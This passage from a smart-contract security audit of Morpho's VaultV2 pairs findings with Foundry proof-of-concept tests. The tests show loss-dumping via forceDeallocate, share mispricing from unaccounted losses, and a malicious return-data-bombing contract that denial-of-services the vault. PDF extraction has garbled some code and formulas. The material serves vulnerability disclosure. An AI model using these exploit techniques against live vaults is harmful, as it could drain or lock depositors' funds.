import {MorphoBlueAdapter} from "../src/adapters/MorphoBlueAdapter.sol";
import {MorphoBlueAdapterFactory} from "../src/adapters/MorphoBlueAdapterFactory.sol";
import {OracleMock} from "../lib/morpho-blue/src/mocks/OracleMock.sol";
import {IrmMock} from "../lib/morpho-blue/src/mocks/IrmMock.sol";
import {IMorpho, MarketParams, Id, Market, Position} from
↳ "../lib/morpho-blue/src/interfaces/IMorpho.sol";
import {MorphoBalancesLib} from "../lib/morpho-blue/src/libraries/periphery/MorphoBalancesLib.sol";
import {MarketParamsLib} from "../lib/morpho-blue/src/libraries/MarketParamsLib.sol";
import {IMorphoBlueAdapter} from "../src/adapters/interfaces/IMorphoBlueAdapter.sol";
import {IMorphoBlueAdapterFactory} from "../src/adapters/interfaces/IMorphoBlueAdapterFactory.sol";

contract SMBLossTest is BaseTest {
    using MorphoBalancesLib for IMorpho;
    using MarketParamsLib for MarketParams;

    // Morpho Blue
    address morphoOwner;
    MarketParams internal marketParams_1;
    MarketParams internal marketParams_2;
    Id internal marketId_1;
    Id internal marketId_2;
    IMorpho internal morpho;
    OracleMock internal oracle;
    IrmMock internal irm;
    ERC20Mock internal collateralToken_1;
    ERC20Mock internal collateralToken_2;
    ERC20Mock internal loanToken; // this is the V2 underlying
    bytes[] internal expectedIds_1;
    bytes[] internal expectedIds_2;

    MorphoBlueAdapterFactory internal factoryMB;
    MorphoBlueAdapter internal adapterMB;

    function setUp() public override {
        super.setUp();
    }
}
```

```

function testDeallocatePreventLoss() public {
    // setup Morpho Blue Market
    _setupMB(underlyingToken);

    // setup Vault v2
    _setupVV2(10_000e18, 1e18);

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    // alice deposit 100 DAI
    _deposit(alice, 100e18);

    // enable the second MB market
    vm.prank(allocator);
    vault.setLiquidityData(abi.encode(marketParams_2));

    // bob deposit to the second market 100 DAI
    _deposit(bob, 100e18);

    uint256 bobInitialSharesFor100Asset = vault.balanceOf(bob);

    // second market receive a loss of 100 DAI (eq to bob asset deposited)
    _overrideMarketTotalSupplyAssets(marketId_2, -int256(100e18));

    // bob don't want to incur in the loss
    // bob call `forceDeallocate(market1)` that will pull from the first market (that has enough
    ↪ funds) without realizing the loss and only paying the penalty
    address[] memory adapters = new address[](1);
    bytes[] memory marketData = new bytes[](1);
    uint256[] memory amounts = new uint256[](1);
    adapters[0] = address(adapterMB);
    marketData[0] = abi.encode(marketParams_1);
    amounts[0] = 100e18;

    vm.prank(bob);
    vault.forceDeallocate(adapters, marketData, amounts, bob);
    vm.prank(bob);
    vault.redeem(100e18, bob, bob);

    // assert that bob was able to withdraw what he has deposited
    // even if the market where he has deposited to has been drained
    assertEq(morpho.market(marketId_2).totalSupplyAssets, 0);
    assertEq(vault.balanceOf(bob), 0);
    assertEq(underlyingToken.balanceOf(bob), 100e18);

    // alice tries to redeem 1 share of their asset but she can't because all the markets have been
    ↪ drained
    // one because it had a loss
    // one because it has been drained by bob
    // it reverts when the MorphoBlue adapter tries to withdraw from the Morpho market
    // this tries to withdraw from market2
    vm.prank(alice);
    vm.expectRevert(); // [FAIL: panic: arithmetic underflow or overflow (0x11)]
    vault.redeem(1, alice, alice);

    // tries to force deallocate from market1
    amounts[0] = 1; // tries to withdraw 1 wei
    vm.prank(alice);
    vm.expectRevert(); // [FAIL: panic: arithmetic underflow or overflow (0x11)]

```

```

    vault.forceDeallocate(adapters, marketData, amounts, alice);

    // "trigger" the accounting of the loss with a 0-deposit
    vault.deposit(0, address(this));

    // confirm that alice shares are worthless (0 value)
    assertEq(vault.previewRedeem(vault.balanceOf(alice)), 0);

    vm.prank(bob);
    // bob re-deposit the same amount withdrawn
    vault.deposit(100e18, bob);

    // confirm that now he owns more shares than before (because alice's shares are worthless)
    assertGt(vault.balanceOf(bob), bobInitialSharesFor100Asset);
}

function _deposit(address user, uint256 amount) internal {
    deal(address(underlyingToken), user, amount, true);
    vm.prank(user);
    underlyingToken.approve(address(vault), type(uint256).max);

    // supply
    vm.prank(user);
    vault.deposit(amount, user);
}

function _withdraw(address user, uint256 amount) internal {
    vm.prank(user);
    vault.withdraw(amount, user, user);
}

function _setupVV2(uint256 absoluteCap, uint256 relativeCap) internal {
    // setup the MB adapter
    vm.startPrank(curator);
    vault.submit(abi.encodeCall(IVaultV2.setIsAdapter, (address(adapterMB), true)));
    vm.stopPrank();
    vm.warp(vm.getBlockTimestamp() + 14 days);
    vault.setIsAdapter(address(adapterMB), true);

    // setup the MB adapter as the main adapter
    vm.prank(allocator);
    vault.setLiquidityAdapter(address(adapterMB));
    vm.prank(allocator);
    vault.setLiquidityData(abi.encode(marketParams_1));

    _increaseCaps(expectedIds_1, absoluteCap, relativeCap);
    _increaseCaps(expectedIds_2, absoluteCap, relativeCap);
}

function _increaseCaps(bytes[] memory expectedIds, uint256 absoluteCap, uint256 relativeCap)
    ↪ internal {
    // setup the absolute caps and relative caps
    vm.startPrank(curator);
    for( uint256 i = 0; i < expectedIds.length; i++ ) {
        vault.submit(abi.encodeCall(IVaultV2.increaseAbsoluteCap, (expectedIds[i], absoluteCap)));
        vault.submit(abi.encodeCall(IVaultV2.increaseRelativeCap, (expectedIds[i], relativeCap)));
    }
    vm.stopPrank();
    vm.warp(vm.getBlockTimestamp() + 14 days);

    for( uint256 i = 0; i < expectedIds.length; i++ ) {
        vault.increaseAbsoluteCap(expectedIds[i], absoluteCap);
    }
}

```

```

        vault.increaseRelativeCap(expectedIds[i], relativeCap);
    }
}

function _decreaseCaps(bytes[] memory expectedIds, uint256 absoluteCap, uint256 relativeCap)
→ internal {
    // setup the absolute caps and relative caps
    vm.startPrank(curator);
    for( uint256 i = 0; i < expectedIds.length; i++ ) {
        vault.decreaseAbsoluteCap(expectedIds[i], absoluteCap);
        vault.decreaseAbsoluteCap(expectedIds[i], relativeCap);
    }
    vm.stopPrank();
}

function _setupMB(ERC20Mock v2Underlying) internal {
    morphoOwner = makeAddr("MorphoOwner");
    morpho = IMorpho(deployCode("Morpho.sol", abi.encode(morphoOwner)));

    loanToken = v2Underlying;
    collateralToken_1 = new ERC20Mock();
    collateralToken_2 = new ERC20Mock();
    oracle = new OracleMock();
    irm = new IrmMock();
    marketParams_1 = MarketParams({
        loanToken: address(loanToken),
        collateralToken: address(collateralToken_1),
        irm: address(irm),
        oracle: address(oracle),
        lltv: 0.8 ether
    });
    marketParams_2 = MarketParams({
        loanToken: address(loanToken),
        collateralToken: address(collateralToken_2),
        irm: address(irm),
        oracle: address(oracle),
        lltv: 0.8 ether
    });

    vm.startPrank(morphoOwner);
    morpho.enableIrm(address(irm));
    morpho.enableLltv(0.8 ether);
    vm.stopPrank();

    morpho.createMarket(marketParams_1);
    morpho.createMarket(marketParams_2);
    marketId_1 = marketParams_1.id();
    marketId_2 = marketParams_2.id();

    factoryMB = new MorphoBlueAdapterFactory(address(morpho));
    adapterMB = MorphoBlueAdapter(factoryMB.createMorphoBlueAdapter(address(vault)));

    expectedIds_1 = new bytes[](3);
    expectedIds_1[0] = abi.encode("adapter", address(adapterMB));
    expectedIds_1[1] = abi.encode("collateralToken", marketParams_1.collateralToken);
    expectedIds_1[2] =
        abi.encode(
            "collateralToken/oracle/lltv", marketParams_1.collateralToken, marketParams_1.oracle,
→ marketParams_1.lltv
        );

    expectedIds_2 = new bytes[](3);

```

```

expectedIds_2[0] = abi.encode("adapter", address(adapterMB));
expectedIds_2[1] = abi.encode("collateralToken", marketParams_2.collateralToken);
expectedIds_2[2] =
    abi.encode(
        "collateralToken/oracle/lltv", marketParams_2.collateralToken, marketParams_2.oracle,
        ↪ marketParams_2.lltv
    );
}

// copied from original MorphoBlueAdapter Test

function _overrideMarketTotalSupplyAssets(Id marketId, int256 change) internal {
    bytes32 marketSlot0 = keccak256(abi.encode(marketId, 3)); // 3 is the slot of the market
    ↪ mapping.
    bytes32 currentSlot0Value = vm.load(address(morpho), marketSlot0);
    uint256 currentTotalSupplyShares = uint256(currentSlot0Value) >> 128;
    uint256 currentTotalSupplyAssets = uint256(currentSlot0Value) & type(uint256).max;
    bytes32 newSlot0Value =
        bytes32((currentTotalSupplyShares << 128) | uint256(int256(currentTotalSupplyAssets) +
        ↪ change));
    vm.store(address(morpho), marketSlot0, newSlot0Value);
    // console.log('currentTotalSupplyShares', currentTotalSupplyShares);
    // console.log('currentTotalSupplyAssets', currentTotalSupplyAssets);
}
}

```

Recommendation: There's not an easy one shot solution for this issue because the core problem stay in the fact that the vault does not account for the "real" interest and losses on demand from all the existing (and actively used) adapters.

Morpho: Since [PR 337](#), loss realisation is incentivised, which means that one would need to be faster than "MEV" in order to do that. Note that it is very fundamental (Morpho Blue has the same issue for example).

Spearbit: The `realizeLoss` function implemented in the above PR allows anyone, in permissionless way, to realize losses in a whitelisted adapter. It's important to note that the assumption of the fix is that.

1. The loss realization is performed before any further interaction with the vault.
2. The loss realization is enough incentivized to cover at least the gas cost of the operation and then the withdrawal of the funds (the caller receives shares, not underlying tokens).
3. The loss realization is not frontrun by someone that could gain profit by the loss itself.

5.2.6 Losses across all adapters are not accounted before shares/assets are calculated to deposit/mint/redeem/withdraw

Severity: Medium Risk

Context: (No context files were provided by the reviewer)

Description: The current flow of a user operation like deposit, mint, withdraw or redeem is the following:

1. Execute `accrueInterest()` that will:
 1. Increase the `_totalAssets` by interest.
 2. Calculate and mint the `performanceFeeShares` and `managementFeeShares` shares for the performance/management users.
 3. Update the `lastUpdate` to `block.timestamp`.
2. Calculate the amount of shares to be minted/burn (deposit/withdraw operation) via `previewDeposit/previewWithdraw` or assets to be pulled/withdrawn (mint/redeem operation) via `previewMint/previewRedeem`. Note that the `preview*` will also call `accrueInterestView()` but it will be

a "no-op" given that `accrueInterest()` has been already called at the very beginning and at this point `elapsed` will be equal to 0 resulting in an early return.

3. Execute the `enter` (deposit/mint operation) or `exit` (withdraw/redeem operation) function.

The `enter` function mint the previously calculated shares to the user balance, increase `_totalAssets` by the deposited/puller amount and **tries** to allocate such amount to the `liquidityAdapter` via the `allocate(...)` function if there's a `liquidityAdapter` configured. The `allocate` function called by `enter` will execute `adapter.allocate(...)` and account for the reported loss, subtracting them from `_totalAssets`. The `allocate()` function could revert if the `adapter.allocate` reverts or if the allocation for the adapter IDs has reached the upper bound.

The `exit` check if there are enough funds in the "Idle Market" and that's the case will not execute the `deallocate` function, otherwise will try to deallocate how much is needed to perform the withdrawal by executing `deallocate(..., assets - idleAssets)` if the `liquidityAdapter` has been configured. After that it will burn the already calculated shares from the user's balance and decrease `_totalAssets` by the amount of assets to be withdrawn. The `deallocate` function called by `exit` will execute `adapter.deallocate(...)` and account for the reported loss, subtracting them from `_totalAssets`.

There are some key aspects and issues that should be noted:

1. `accrueInterest` is executed without having incorporated the losses across **all** the adapters that the `VaultV2` have allocated funds to. This mean that `_totalAssets` could be not correctly synched with the "reality". As a consequence, both the `interestPerSecond` returned by `IVic.interestPerSecond(_totalAssets, elapsed)` and the shares (fees) calculated for the performance/management could be wrong.
2. The value returned by all the `preview*` functions could be wrong because loss across **all** the adapters have not been accounted for yet. As a consequence, the user could lose/earn more depending on the operation.
 - For `deposit` the loss is accounted after the calculation of the shares to be minted. The user will receive fewer shares compared to what it should be. At redeem time, the user will receive less underlying.
 - For `mint` the protocol will "pull" more assets compared to what it should in order to mint the user request. At redeem time, the user will receive less underlying (it's better to say that too many underlying have been minted in the first place).
 - For `withdraw` the amount of shares burned are less than they should be. This mean that after the withdrawal the value of the other shares are reduced and other suppliers will need to burn MORE shares to withdraw their funds.
 - For `redeem` the user will receive MORE underlying compared to he should. The share value will be reduced after the redeem and other users will need to burn MORE shared to receive the same amount of underlying.
3. The `enter` function could "skip" to account for the loss in `liquidityAdapter` if `allocate` reverts (max allocation is reached).
4. The `enter` function does not account for losses in the "other" adapters that are not `liquidityAdapter`.
5. The `exit` function could "skip" to account for the loss in `liquidityAdapter` if there's enough liquidity in the "Idle Market" and there's no need to deallocate.
6. The `exit` function does not account for losses in the "other" adapters that are not `liquidityAdapter`.
7. `forceDeallocate` can be exploited by withdrawers to avoid incurring in a loss. If the `liquidityAdapter` has a loss and there's not enough liquidity in the IDLE market and there's an "old" adapter without loss and enough liquidity to be pulled from, the logic can be exploited. The withdrawer just needs to deallocate from that market and then execute a withdrawal call that will only pull from the IDLE market. See "`forceDeallocate` allows user to avoid incurring in losses and dump them on other suppliers" for more details.

Proof of Concept:

- User loses instantly share value upon deposit:

```

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;

import "./BaseTest.sol";

import {MorphoBlueAdapter} from "../src/adapters/MorphoBlueAdapter.sol";
import {MorphoBlueAdapterFactory} from "../src/adapters/MorphoBlueAdapterFactory.sol";
import {OracleMock} from "../lib/morpho-blue/src/mocks/OracleMock.sol";
import {IrmMock} from "../lib/morpho-blue/src/mocks/IrmMock.sol";
import {IMorpho, MarketParams, Id, Market, Position} from
↳ "../lib/morpho-blue/src/interfaces/IMorpho.sol";
import {MorphoBalancesLib} from
↳ "../lib/morpho-blue/src/libraries/periphery/MorphoBalancesLib.sol";
import {MarketParamsLib} from "../lib/morpho-blue/src/libraries/MarketParamsLib.sol";
import {IMorphoBlueAdapter} from "../src/adapters/interfaces/IMorphoBlueAdapter.sol";
import {IMorphoBlueAdapterFactory} from
↳ "../src/adapters/interfaces/IMorphoBlueAdapterFactory.sol";

contract SMBLossTest is BaseTest {
    using MorphoBalancesLib for IMorpho;
    using MarketParamsLib for MarketParams;

    // Morpho Blue
    address morphoOwner;
    MarketParams internal marketParams;
    Id internal marketId;
    IMorpho internal morpho;
    OracleMock internal oracle;
    IrmMock internal irm;
    ERC20Mock internal collateralToken;
    ERC20Mock internal loanToken; // this is the V2 underlying
    bytes32[] internal expectedIds;

    MorphoBlueAdapterFactory internal factoryMB;
    MorphoBlueAdapter internal adapterMB;

    function setUp() public override {
        super.setUp();
    }

    function testLossBob() public {
        // setup Morpho Blue Market
        _setupMB(underlyingToken);

        // setup Vault v2
        _setupVV2(10_000e18, 1e18);

        address alice = makeAddr("alice");
        address bob = makeAddr("bob");

        // alice deposit 100 DAI
        _deposit(alice, 100e18);

        // MB has 50e18 DAI loss
        _overrideMarketTotalSupplyAssets(-int256(50e18));

        // bob deposit 100 DAI
        _deposit(bob, 100e18);

        // bob instantly redeem all his shares

```

```

vm.prank(bob);
vault.redeem(100e18, bob, bob);

// from the redeem bob has withdrawn 75 DAI instead of 100 DAI
assertEq(underlyingToken.balanceOf(bob), 75e18);
// BOB has no more shares to redeem
assertEq(vault.balanceOf(bob), 0);

// alice withdraw her shares
vm.prank(alice);
vault.redeem(100e18, alice, alice);

// alice redeem her 100e18 shares and she will get 75 DAI too (instead of 50 DAI she
↳ should get because of the loss)
assertEq(underlyingToken.balanceOf(alice), 75e18);
// alice has no more shares to redeem
assertEq(vault.balanceOf(alice), 0);
}

function _deposit(address user, uint256 amount) internal {
    deal(address(underlyingToken), user, amount, true);
    vm.prank(user);
    underlyingToken.approve(address(vault), type(uint256).max);

    // supply
    vm.prank(user);
    vault.deposit(amount, user);
}

function _withdraw(address user, uint256 amount) internal {
    vm.prank(user);
    vault.withdraw(amount, user, user);
}

function _setupVV2(uint256 absoluteCap, uint256 relativeCap) internal {
    // setup the MB adapter
    vm.startPrank(curator);
    vault.submit(abi.encodeCall(IVaultV2.setIsAdapter, (address(adapterMB), true)));
    vm.stopPrank();
    vm.warp(vm.getBlockTimestamp() + 14 days);
    vault.setIsAdapter(address(adapterMB), true);

    // setup the MB adapter as the main adapter
    vm.prank(allocator);
    vault.setLiquidityAdapter(address(adapterMB));
    vm.prank(allocator);
    vault.setLiquidityData(abi.encode(marketParams));

    _increaseCaps(absoluteCap, relativeCap);
}

function _increaseCaps(uint256 absoluteCap, uint256 relativeCap) internal {
    // setup the absolute caps and relative caps
    vm.startPrank(curator);
    vault.submit(abi.encodeCall(IVaultV2.increaseAbsoluteCap, (abi.encode("adapter",
↳ address(adapterMB)), absoluteCap)));
    vault.submit(abi.encodeCall(IVaultV2.increaseAbsoluteCap, (abi.encode("collateralToken",
↳ marketParams.collateralToken), absoluteCap)));
    vault.submit(abi.encodeCall(IVaultV2.increaseAbsoluteCap, (abi.encode(
        "collateralToken/oracle/lltv", marketParams.collateralToken,
↳ marketParams.oracle, marketParams.lltv
    ), absoluteCap)));
}

```



```

    vault.submit(abi.encodeCall(IVaultV2.increaseRelativeCap, (abi.encode("adapter",
    ↪ address(adapterMB)), relativeCap)));
    vault.submit(abi.encodeCall(IVaultV2.increaseRelativeCap, (abi.encode("collateralToken",
    ↪ marketParams.collateralToken), relativeCap)));
    vault.submit(abi.encodeCall(IVaultV2.increaseRelativeCap, (abi.encode(
    ↪ "collateralToken/oracle/lltv", marketParams.collateralToken,
    ↪ marketParams.oracle, marketParams.lltv
    ↪ ), relativeCap)));
    vm.stopPrank();
    vm.warp(vm.getBlockTimestamp() + 14 days);
    vault.increaseAbsoluteCap(abi.encode("adapter", address(adapterMB)), absoluteCap);
    vault.increaseAbsoluteCap(abi.encode("collateralToken", marketParams.collateralToken),
    ↪ absoluteCap);
    vault.increaseAbsoluteCap(abi.encode(
    ↪ "collateralToken/oracle/lltv", marketParams.collateralToken,
    ↪ marketParams.oracle, marketParams.lltv
    ↪ ), absoluteCap);
    vault.increaseRelativeCap(abi.encode("adapter", address(adapterMB)), relativeCap);
    vault.increaseRelativeCap(abi.encode("collateralToken", marketParams.collateralToken),
    ↪ relativeCap);
    vault.increaseRelativeCap(abi.encode(
    ↪ "collateralToken/oracle/lltv", marketParams.collateralToken,
    ↪ marketParams.oracle, marketParams.lltv
    ↪ ), relativeCap);
}

function _decreaseCaps(uint256 absoluteCap, uint256 relativeCap) internal {
    // setup the absolute caps and relative caps
    vm.startPrank(curator);
    vault.decreaseAbsoluteCap(abi.encode("adapter", address(adapterMB)), absoluteCap);
    vault.decreaseAbsoluteCap(abi.encode("collateralToken", marketParams.collateralToken),
    ↪ absoluteCap);
    vault.decreaseAbsoluteCap(abi.encode(
    ↪ "collateralToken/oracle/lltv", marketParams.collateralToken,
    ↪ marketParams.oracle, marketParams.lltv
    ↪ ), absoluteCap);
    vault.decreaseRelativeCap(abi.encode("adapter", address(adapterMB)), relativeCap);
    vault.decreaseRelativeCap(abi.encode("collateralToken", marketParams.collateralToken),
    ↪ relativeCap);
    vault.decreaseRelativeCap(abi.encode(
    ↪ "collateralToken/oracle/lltv", marketParams.collateralToken,
    ↪ marketParams.oracle, marketParams.lltv
    ↪ ), relativeCap);
    vm.stopPrank();
}

function _setupMB(ERC20Mock v2Underlying) internal {
    morphoOwner = makeAddr("MorphoOwner");
    morpho = IMorpho(deployCode("Morpho.sol", abi.encode(morphoOwner)));

    loanToken = v2Underlying;
    collateralToken = new ERC20Mock();
    oracle = new OracleMock();
    irm = new IrmMock();
    marketParams = MarketParams({
        loanToken: address(loanToken),
        collateralToken: address(collateralToken),
        irm: address(irm),
        oracle: address(oracle),
        lltv: 0.8 ether
    });
}

```

```

        vm.startPrank(morphoOwner);
        morpho.enableIrm(address(irm));
        morpho.enableLltv(0.8 ether);
        vm.stopPrank();

        morpho.createMarket(marketParams);
        marketId = marketParams.id();

        factoryMB = new MorphoBlueAdapterFactory(address(morpho));
        adapterMB = MorphoBlueAdapter(factoryMB.createMorphoBlueAdapter(address(vault)));

        expectedIds = new bytes32[](3);
        expectedIds[0] = keccak256(abi.encode("adapter", address(adapterMB)));
        expectedIds[1] = keccak256(abi.encode("collateralToken", marketParams.collateralToken));
        expectedIds[2] = keccak256(
            abi.encode(
                "collateralToken/oracle/lltv", marketParams.collateralToken,
                ↪ marketParams.oracle, marketParams.lltv
            )
        );
    }

    // copied from original MorphoBlueAdapter Test

    function _overrideMarketTotalSupplyAssets(int256 change) internal {
        bytes32 marketSlot0 = keccak256(abi.encode(marketId, 3)); // 3 is the slot of the market
        ↪ mapping.
        bytes32 currentSlot0Value = vm.load(address(morpho), marketSlot0);
        uint256 currentTotalSupplyShares = uint256(currentSlot0Value) >> 128;
        uint256 currentTotalSupplyAssets = uint256(currentSlot0Value) & type(uint256).max;
        bytes32 newSlot0Value =
            bytes32((currentTotalSupplyShares << 128) | uint256(int256(currentTotalSupplyAssets)
            ↪ + change));
        vm.store(address(morpho), marketSlot0, newSlot0Value);
        console.log('currentTotalSupplyShares', currentTotalSupplyShares);
        console.log('currentTotalSupplyAssets', currentTotalSupplyAssets);
    }
}

```

Recommendation: The only possible way to correct correctly synch `_totalAssets` with the "real" value in "Idle Market" and what's held in the adapters would be to always iterating, as soon as possible, over all the adapters and account for the losses and interest. On the other end, by doing so, the interest returned by the `Vic` would be "useless" at this point and the `VaultV2` implementation would become quite similar to what `MetaMorpho` already is.

Morpho: since [PR 337](#), loss realisation is incentivised, which means that one would need to be faster than "MEV" in order to do that. Note that it is very fundamental (Morpho Blue has the same issue for example).

Spearbit: The `realizeLoss` function implemented in the above PR allows anyone, in permissionless way, to realize losses in a whitelisted adapter. It's important to note that the assumption of the fix is that:

1. The loss realization is performed before any further interaction with the vault.
2. The loss realization is enough incentivized to cover at least the gas cost of the operation and then the withdrawal of the funds (the caller receives shares, not underlying tokens).
3. The loss realization is not frontrun by someone that could gain profit by the loss itself.

5.3 Low Risk

5.3.1 A broken or malicious vault interest controller can DoS the vault

Severity: Low Risk

Context: [VaultV2.sol#L429-L430](#)

Description: It is very unlikely but a broken or malicious Ivic can DoS the vault by return-data bombing.

Proof of Concept: Apply the following patch:

```
diff --git a/test/AccrueInterestTest.sol b/test/AccrueInterestTest.sol
index 983da9f..fbd8ccf 100644
- -- a/test/AccrueInterestTest.sol
+ ++ b/test/AccrueInterestTest.sol
@@ -3,6 +3,62 @@ pragma solidity ^0.8.0;

import "./BaseTest.sol";

+ contract BadVic {
+
+     uint256 internal constant FREE_MEM_PTR = 0x40;
+     uint256 internal constant WORD_SIZE = 32;
+     uint256 internal constant ERROR_STRING_SELECTOR = 0x08c379a0; // Error(string)
+
+     function _sqrt(uint256 x) internal pure returns (uint256 z) {
+         /// @solidity memory-safe-assembly
+         assembly {
+             z := 181 // The "correct" value is 1, but this saves a multiplication later.
+
+             let r := shl(7, lt(0xffffffffffffffffffffffff, x))
+             r := or(r, shl(6, lt(0xffffffffffffffff, shr(r, x))))
+             r := or(r, shl(5, lt(0xffffffff, shr(r, x))))
+             r := or(r, shl(4, lt(0xffff, shr(r, x))))
+             z := shl(shr(1, r), z)
+
+             z := shr(1, add(z, div(x, z)))
+             z := shr(1, add(z, div(x, z)))
+             z := shr(1, add(z, div(x, z)))
+             z := shr(1, add(z, div(x, z)))
+             z := shr(1, add(z, div(x, z)))
+             z := shr(1, add(z, div(x, z)))
+             z := shr(1, add(z, div(x, z)))
+             z := sub(z, lt(div(x, z), z))
+         }
+     }
+
+     /// calculate the memory size in words required to trigger a given memory expansion cost
+     function calculateMemorySizeWord(uint memory_cost) public pure returns (uint memory_size_word) {
+         // Constants for the quadratic equation
+         uint a = 1;
+         uint b = 1536; // 3 * 512
+         uint c = 512 * memory_cost;
+
+         // Calculate the discriminant
+         uint discriminant = b**2 + 4 * a * c;
+
+         // Calculate the positive root using the quadratic formula
+         memory_size_word = _sqrt(discriminant) / (2 * a) - b;
+     }
+
+     function interestPerSecond(uint256, uint256) external view {
+         uint256 bomb_length = calculateMemorySizeWord(gasleft() * 9 / 10) * WORD_SIZE;
```

```

+         uint256 payload_length = 4 + 2 * WORD_SIZE + bomb_length;
+
+         assembly {
+             let ptr := mload(FREE_MEM_PTR)
+             mstore(ptr, shl(224, ERROR_STRING_SELECTOR))
+             mstore(add(ptr, 0x04), WORD_SIZE) // String offset
+             mstore(add(ptr, 0x24), bomb_length) // String length
+             mstore(add(ptr, 0x44), "BOMB!")
+             revert(ptr, payload_length)
+         }
+     }
+ }
+
+ contract AccrueInterestTest is BaseTest {
+     using MathLib for uint256;
+
+     @@ -166,6 +222,23 @@ contract AccrueInterestTest is BaseTest {
+         assertEq(vault.totalAssets(), totalAssetsBefore);
+     }
+
+     function testAccrueInterestVicChangingState() public {
+         uint256 elapsed = 10 weeks;
+
+         address badVic = address(new BadVic());
+
+         // Setup.
+         vm.prank(curator);
+         vault.submit(abi.encodeCall(IVaultV2.setVic, (badVic)));
+         vault.setVic(badVic);
+         vm.warp(vm.getBlockTimestamp() + elapsed);
+
+         // Vic reverts.
+         uint256 totalAssetsBefore = vault.totalAssets();
+         vault accrueInterest();
+         assertEq(vault.totalAssets(), totalAssetsBefore);
+     }
+
+     function testPerformanceFeeWithoutManagementFee(
+         uint256 performanceFee,
+         uint256 interestPerSecond,

```

and run:

```
forge test -vvvv --mt testAccrueInterestVicBomb
```

The bombing implementation is taken from [66_returnbomb.t.sol](#)

Recommendation: Use low-level assembly block to perform the staticall and decode the return data or use libraries like [ExcessivelySafeCall](#).

There are also 3 token.calls in [SafeERC20Lib.sol#L7-L31](#) which could benefit from the above suggestion but currently do not have the same risk since it would mean that either:

- In the Vault the immutable asset or...
- The vault in the adapters.

would be a broken contract.

Morpho: Because of the try-catch gas bug, we decided that it was better if the VIC was handled as a trusted component for the liveness.

Spearbit: The issue is not relevant anymore since the VIC is considered a trusted component for the vault and documented in [PR 579](#).

5.3.2 setLiquidityAdapter and setLiquidityData are not time locked

Severity: Low Risk

Context: [VaultV2.sol#L371-L385](#)

Description: setLiquidityAdapter and setLiquidityData are not time locked even though changing their values might pose some unwanted risks for the share holders. This is specially important for those who want to exit from the vault where there is not enough idle liquidity left. Note that for example changing the values for [isAdapter](#) is time locked (although used for a different purpose).

Recommendation: It might make sense to also apply a `timelocked` modifier to these functions. Although it could also make sense to be able to apply instant hot fixes for these parameters in case of a bug so users can exit without a long delay.

Morpho: Acknowledged.

Spearbit: Acknowledged.

5.3.3 performanceFeeShares and managementFeeShares are not correctly calculated

Severity: Low Risk

Context: [VaultV2.sol#L447-L462](#)

Description: Although there is a comment mentioning that:

// Note: the accrued performance fee might be smaller than this because of the management fee.

performanceFeeShares and managementFeeShares are not correctly calculated. One should have that after accruing interests, these shares would convert back to the original values calculated:

```
performanceFeeAssets
managementFeeAssets
```

$$s_i = a_i \cdot \frac{S_{old} + 1}{A_{new} + 1 - (a_p + a_m)}$$

Currently they are calculated as:

$$s_i = a_i \cdot \frac{S_{old} + 1}{A_{new} + 1 - a_i}$$

So after updating the total assets and supplies if these shares are converted back to assets we would get ($A = A_{new}$):

$$a_i \cdot \frac{A + 1}{A + 1 + \tilde{a}_i \left(\frac{A + 1 - a_i}{A + 1 - \tilde{a}_i} \right)} \leq a_i.$$

and also in some edge cases the conversion rate could drop down after accruing interest. The following inequality should hold, but it might break:

$$\frac{1}{\frac{1}{f_m} - \Delta t}$$

\leq

$$r \cdot \frac{1 + (1 - f_p)r\Delta t - f_p}{1 + (1 - f_p)r\Delta t}$$

If $\Delta t \gg 0$, the left hand side blows up and potentially overflows while the right hand side converges to r . We also know that $f_p \leq \frac{1}{2}$ and $f_m \leq \frac{1}{20}$ per year. And so the left hand side of the inequality can be at most:

$$\frac{1}{\frac{1-f_p}{f_m} - \Delta t} \leq r$$

\leq

$$r \cdot \frac{1 + r\Delta t}{2 + r\Delta t}$$

It is important to make sure $\frac{\frac{\Delta t}{20}}{1 - \frac{\Delta t}{20}}$ does not blow up (aka, the vault is interacted with regularly). With the new calculation of shares the comparison comes down to:

$$\frac{1}{\frac{1-f_p}{f_m} - \Delta t} \leq r$$

Note the left hand side could blow up faster (with the extreme paramters in around 10 years.

Recommendation: Apply the following patch:

```
diff --git a/src/VaultV2.sol b/src/VaultV2.sol
index 5a83bf3..a512f57 100644
- -- a/src/VaultV2.sol
+ ++ b/src/VaultV2.sol
@@ -420,6 +420,14 @@ contract VaultV2 is IVaultV2 {
    lastUpdate = uint64(block.timestamp);
}

+ function _convertToSharesDown(uint256 assets, uint256 tAssets, uint256 tSupply) internal pure
+ returns (uint256 shares) {
+     shares = assets.mulDivDown(tSupply + 1, tAssets + 1);
+ }
+
+ function _convertToAssetsDown(uint256 shares, uint256 tAssets, uint256 tSupply) internal pure
+ returns (uint256 assets) {
+     assets = shares.mulDivDown(tAssets + 1, tSupply + 1);
+ }
+
    /// @dev Returns newTotalAssets, performanceFeeShares, managementFeeShares.
    function accrueInterestView() public view returns (uint256, uint256, uint256) {
        uint256 elapsed = block.timestamp - lastUpdate;
    @@ -438,28 +446,38 @@ contract VaultV2 is IVaultV2 {
        uint256 interest = interestPerSecond * elapsed;
        uint256 newTotalAssets = _totalAssets + interest;

-         uint256 performanceFeeShares;
-         uint256 managementFeeShares;
-         // Note: the fee assets is subtracted from the total assets in the fee shares calculation to
+         // Note: the fee assets is subtracted from the total assets in the fee shares calculation to
+         // compensate for the
+         // fact that total assets is already increased by the total interest (including the fee
+         // assets).
+         // Note: `feeAssets` may be rounded down to 0 if `totalInterest * fee < WAD`.
+         uint256 performanceFeeAssets = 0;
+         uint256 managementFeeAssets = 0;

+         // Note: `feeAssets` may be rounded down to 0 if `totalInterest * fee < WAD`.
        if (interest > 0 && performanceFee != 0 && canReceive(performanceFeeRecipient)) {
-             // Note: the accrued performance fee might be smaller than this because of the management
+             // Note: the accrued performance fee might be smaller than this because of the management
+             // fee.
            uint256 performanceFeeAssets = interest.mulDivDown(performanceFee, WAD);
            performanceFeeShares =
                performanceFeeAssets.mulDivDown(totalSupply + 1, newTotalAssets + 1 -
                performanceFeeAssets);
```

```

+         performanceFeeAssets = interest.mulDivDown(performanceFee, WAD);
+     }
+     if (managementFee != 0 && canReceive(managementFeeRecipient)) {
+         // Note: The vault must be pinged at least once every 20 years to avoid management fees
+         ↪ exceeding total
+         // assets and revert forever.
+         // Note: The management fee is taken on newTotalAssets to make all approximations
+         ↪ consistent (interacting
+         // less increases management fees).
